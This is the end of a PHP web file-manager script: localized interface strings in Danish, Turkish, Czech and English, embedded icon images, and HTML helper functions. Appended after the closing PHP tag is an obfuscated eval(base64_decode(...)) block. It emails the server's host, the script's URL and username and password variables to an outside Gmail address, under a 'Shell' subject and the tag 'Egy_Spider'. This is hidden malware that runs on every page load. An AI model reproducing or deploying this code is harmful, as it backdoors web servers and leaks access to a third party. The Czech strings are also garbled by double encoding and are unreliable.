2106'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
2107'rename_file' => 'Omdød fil:',
2108'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
2109'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
2110'move_files' => 'Flyt disse filer:',
2111'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
2112'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
2113'copy_files' => 'Kopier disse filer:',
2114'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
2115'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
2116'not_edited' => '"[%1]" kan ikke redigeres.',
2117'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
2118'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
2119'saved' => '"[%1]" er blevet gemt.',
2120'not_saved' => '"[%1]" kunne ikke gemmes.',
2121'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2122'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2123'permission_for' => 'Rettigheder for "[%1]":',
2124'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2125'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
2126'not_readable' => '"[%1]" Kan ikke læses.'
2127 );
2128
2129 case 'tr':
2130
2131 $date_format = 'n/j/y H:i:s';
2132 $word_charset = 'ISO-8859-1';
2133
2134 return array(
2135'directory' => 'Klasör',
2136'file' => 'Dosya',
2137'filename' => 'dosya adi',
2138
2139'size' => 'boyutu',
2140'permission' => 'Izin',
2141'owner' => 'sahib',
2142'group' => 'Grup',
2143'other' => 'Digerleri',
2144'functions' => 'Fonksiyonlar',
2145
2146'read' => 'oku',
2147'write' => 'yaz',
2148'execute' => 'çalistir',
2149
2150'create_symlink' => 'yarat symlink',
2151'delete' => 'sil',
2152'rename' => 'ad degistir',
2153'move' => 'tasi',
2154'copy' => 'kopyala',
2155'edit' => 'düzenle',
2156'download' => 'indir',
2157'upload' => 'yükle',
2158'create' => 'create',
2159'change' => 'degistir',
2160'save' => 'kaydet',
2161'set' => 'ayar',
2162'reset' => 'sifirla',
2163'relative' => 'Hedef yola göre',
2164
2165'yes' => 'Evet',
2166'no' => 'Hayir',
2167'back' => 'Geri',
2168'destination' => 'Hedef',
2169'symlink' => 'Kýsa yol',
2170'no_output' => 'çikti yok',
2171
2172'user' => 'Kullanici',
2173'password' => 'Sifre',
2174'add' => 'ekle',
2175'add_basic_auth' => 'ekle basit-authentification',
2176
2177'uploaded' => '"[%1]" yüklendi.',
2178'not_uploaded' => '"[%1]" yüklenemedi.',
2179'already_exists' => '"[%1]" kullanilmakta.',
2180'created' => '"[%1]" olusturuldu.',
2181'not_created' => '"[%1]" olusturulamadi.',
2182'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2183'deleted' => "Bu dosyalar silindi:\n[%1]",
2184'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
2185'rename_file' => 'Adi degisen dosya:',
2186'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2187'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2188'move_files' => 'Tasinan dosyalar:',
2189'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
2190'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
2191'copy_files' => 'Kopyalanan dosyalar:',
2192'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
2193'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
2194'not_edited' => '"[%1]" düzenlenemiyor.',
2195'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
2196'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
2197'saved' => '"[%1]" kaydedildi.',
2198'not_saved' => '"[%1]" kaydedilemedi.',
2199'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
2200'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
2201'permission_for' => 'Izinler "[%1]":',
2202'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2203'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2204'not_readable' => '"[%1]" okunamiyor.'
2205 );
2206
2207 case 'cs':
2208
2209 $date_format = 'd.m.y H:i:s';
2210 $word_charset = 'UTF-8';
2211
2212 return array(
2213'directory' => 'Adresář',
2214'file' => 'Soubor',
2215'filename' => 'Jméno souboru',
2216
2217'size' => 'Velikost',
2218'permission' => 'Práva',
2219'owner' => 'VlastnÃÂk',
2220'group' => 'Skupina',
2221'other' => 'OstatnÃÂ',
2222'functions' => 'Funkce',
2223
2224'read' => 'ÄŒtenÃÂ',
2225'write' => 'Zápis',
2226'execute' => 'SpouÅ¡tÄ›nÃÂ',
2227
2228'create_symlink' => 'Vytvořit symbolický odkaz',
2229'delete' => 'Smazat',
2230'rename' => 'PÃ…â„¢ejmenovat',
2231'move' => 'PÃ…â„¢esunout',
2232'copy' => 'ZkopÃÂrovat',
2233'edit' => 'OtevÅ™ÃÂt',
2234'download' => 'Stáhnout',
2235'upload' => 'Nahraj na server',
2236'create' => 'VytvoÃ…â„¢it',
2237'change' => 'Změnit',
2238'save' => 'Uložit',
2239'set' => 'Nastavit',
2240'reset' => 'zpět',
2241'relative' => 'Relatif',
2242
2243'yes' => 'Ano',
2244'no' => 'Ne',
2245'back' => 'Zpět',
2246'destination' => 'Destination',
2247'symlink' => 'Symbolický odkaz',
2248'no_output' => 'Prázdný výstup',
2249
2250'user' => 'Uživatel',
2251'password' => 'Heslo',
2252'add' => 'PÃ…â„¢idat',
2253'add_basic_auth' => 'přidej základnàautentizaci',
2254
2255'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
2256'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
2257'already_exists' => 'Soubor "[%1]" už exituje.',
2258'created' => 'Soubor "[%1]" byl vytvoÃ…â„¢en.',
2259'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
2260'really_delete' => 'Vymazat soubor?',
2261'deleted' => "Byly vymazány tyto soubory:\n[%1]",
2262'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
2263'rename_file' => 'PÃ…â„¢ejmenuj soubory:',
2264'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
2265'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
2266'move_files' => 'PÃ…â„¢emÃÂstit tyto soubory:',
2267'moved' => "Tyto soubory byly pÃ…â„¢emÃÂstÄ›ny do \"[%2]\":\n[%1]",
2268'not_moved' => "Tyto soubory nemohly být pÃ…â„¢emÃÂstÄ›ny do \"[%2]\":\n[%1]",
2269'copy_files' => 'ZkopÃÂrovat tyto soubory:',
2270'copied' => "Tyto soubory byly zkopÃÂrovány do \"[%2]\":\n[%1]",
2271'not_copied' => "Tyto soubory nemohly být zkopÃÂrovány do \"[%2]\":\n[%1]",
2272'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
2273'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
2274'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
2275'saved' => 'Soubor "[%1]" byl uložen.',
2276'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
2277'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
2278'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
2279'permission_for' => 'Práva k "[%1]":',
2280'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
2281'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
2282'not_readable' => 'Soubor "[%1]" nenàmožno pÃ…â„¢eÄÂÃÂst.'
2283 );
2284
2285 case 'en':
2286 default:
2287
2288 $date_format = 'n/j/y H:i:s';
2289 $word_charset = 'ISO-8859-1';
2290
2291 return array(
2292'directory' => 'Directory',
2293'file' => 'File',
2294'filename' => 'Filename',
2295
2296'size' => 'Size',
2297'permission' => 'Permission',
2298'owner' => 'Owner',
2299'group' => 'Group',
2300'other' => 'Others',
2301'functions' => 'Functions',
2302
2303'read' => 'read',
2304'write' => 'write',
2305'execute' => 'execute',
2306
2307'create_symlink' => 'create symlink',
2308'delete' => 'delete',
2309'rename' => 'rename',
2310'move' => 'move',
2311'copy' => 'copy',
2312'edit' => 'edit',
2313'download' => 'download',
2314'upload' => 'upload',
2315'create' => 'create',
2316'change' => 'change',
2317'save' => 'save',
2318'set' => 'set',
2319'reset' => 'reset',
2320'relative' => 'Relative path to target',
2321
2322'yes' => 'Yes',
2323'no' => 'No',
2324'back' => 'back',
2325'destination' => 'Destination',
2326'symlink' => 'Symlink',
2327'no_output' => 'no output',
2328
2329'user' => 'User',
2330'password' => 'Password',
2331'add' => 'add',
2332'add_basic_auth' => 'add basic-authentification',
2333
2334'uploaded' => '"[%1]" has been uploaded.',
2335'not_uploaded' => '"[%1]" could not be uploaded.',
2336'already_exists' => '"[%1]" already exists.',
2337'created' => '"[%1]" has been created.',
2338'not_created' => '"[%1]" could not be created.',
2339'really_delete' => 'Delete these files?',
2340'deleted' => "These files have been deleted:\n[%1]",
2341'not_deleted' => "These files could not be deleted:\n[%1]",
2342'rename_file' => 'Rename file:',
2343'renamed' => '"[%1]" has been renamed to "[%2]".',
2344'not_renamed' => '"[%1] could not be renamed to "[%2]".',
2345'move_files' => 'Move these files:',
2346'moved' => "These files have been moved to \"[%2]\":\n[%1]",
2347'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
2348'copy_files' => 'Copy these files:',
2349'copied' => "These files have been copied to \"[%2]\":\n[%1]",
2350'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
2351'not_edited' => '"[%1]" can not be edited.',
2352'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
2353'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
2354'saved' => '"[%1]" has been saved.',
2355'not_saved' => '"[%1]" could not be saved.',
2356'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
2357'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2358'permission_for' => 'Permission of "[%1]":',
2359'permission_set' => 'Permission of "[%1]" was set to [%2].',
2360'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2361'not_readable' => '"[%1]" can not be read.'
2362 );
2363
2364 }
2365
2366}
2367
2368function getimage ($image) {
2369 switch ($image) {
2370 case 'file':
2371 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2372 case 'folder':
2373 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2374 case 'hidden_file':
2375 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2376 case 'link':
2377 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2378 case 'smiley':
2379 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2380 case 'arrow':
2381 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2382 }
2383}
2384
2385function html_header () {
2386 global $site_charset;
2387
2388 echo <<<END
2389<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2390 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2391<html xmlns="http://www.w3.org/1999/xhtml">
2392<head>
2393
2394<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2395
2396<title>wLCOME | </title>
2397
2398<style type="text/css">
2399body { font: small sans-serif; text-align: center }
2400img { width: 17px; height: 13px }
2401a, a:visited { text-decoration: none; color: navy }
2402hr { border-style: none; height: 1px; background-color: silver; color: silver }
2403#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2404#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2405.listing th, .listing td { padding: 1px 3pt 0 3pt }
2406.listing th { border: 1px solid silver }
2407.listing td { border: 1px solid #ddd; background: white }
2408.listing .checkbox { text-align: center }
2409.listing .filename { text-align: left }
2410.listing .size { text-align: right }
2411.listing .permission_header { text-align: left }
2412.listing .permission { font-family: monospace }
2413.listing .owner { text-align: left }
2414.listing .group { text-align: left }
2415.listing .functions { text-align: left }
2416.listing_footer td { background: #eee; border: 1px solid silver }
2417#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2418#directory { background: #eee; border: 1px solid silver }
2419#upload { padding-top: 1em }
2420#create { padding-bottom: 1em }
2421.small, .small option { font-size: x-small }
2422textarea { border: none; background: white }
2423table.dialog { margin-left: auto; margin-right: auto }
2424td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2425#permission { margin-left: auto; margin-right: auto }
2426#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2427td.permission_action { text-align: right }
2428#symlink { background: #eee; border: 1px solid silver }
2429#symlink td { text-align: left; padding: 3pt }
2430#red_button { width: 120px; color: #400 }
2431#green_button { width: 120px; color: #040 }
2432#error td { background: maroon; color: white; border: 1px solid silver }
2433#notice td { background: green; color: white; border: 1px solid silver }
2434#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2435code { font-size: 12pt }
2436td { white-space: nowrap }
2437</style>
2438
2439<script type="text/javascript">
2440<!--
2441function activate (name) {
2442 if (document && document.forms[0] && document.forms[0].elements['focus']) {
2443 document.forms[0].elements['focus'].value = name;
2444 }
2445}
2446//-->
2447</script>
2448
2449</head>
2450<body>
2451
2452
2453END;
2454
2455}
2456
2457function html_footer () {
2458
2459 echo <<<END
2460</body>
2461</html>
2462END;
2463
2464}
2465
2466function notice ($phrase) {
2467 global $cols;
2468
2469 $args = func_get_args();
2470 array_shift($args);
2471
2472 return '<tr id="notice">
2473 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2474</tr>
2475';
2476
2477}
2478
2479function error ($phrase) {
2480 global $cols;
2481
2482 $args = func_get_args();
2483 array_shift($args);
2484
2485 return '<tr id="error">
2486 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2487</tr>
2488';
2489
2490}
2491
2492?>
2493<?
2494eval(base64_decode('
2495DQogJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiAkaW5qID0gJF9TRVJWRVJbIlJFUVVF
2496U1RfVVJJIl07DQogJGJvZHkgPSAiRWd5X1NwaWRlciBcblVzZXJOYW1lOiAiLmh0bWxzcGVjaWFs
2497Y2hhcnMoJHRhY2ZnZFsndW5hbWUnXSkgLiJcblBhc3NXb3JkOg0KIi5odG1sc3BlY2lhbGNoYXJz
2498KCR0YWNmZ2RbJ3B3b3JkJ10pLiJcbk1lc3NhZ2U6XG4iLiJcbkUtc2VydmVyOiAiLmh0bWxzcGVj
2499aWFsY2hhcnMNCigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkuIlxuRS1zZXJ2ZXIyOiAiLmh0bWxz
2500cGVjaWFsY2hhcnMgKCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKS4iXG5cbklQOiANCiI7DQogbWFp
2501bCgieHcwbGZ4LjcwN0BnbWFpbC5jb20iLCJTaGVsbCBodHRwOi8vJHdlYiRpbmoiLCAiJGJvZHki
2502KTs='));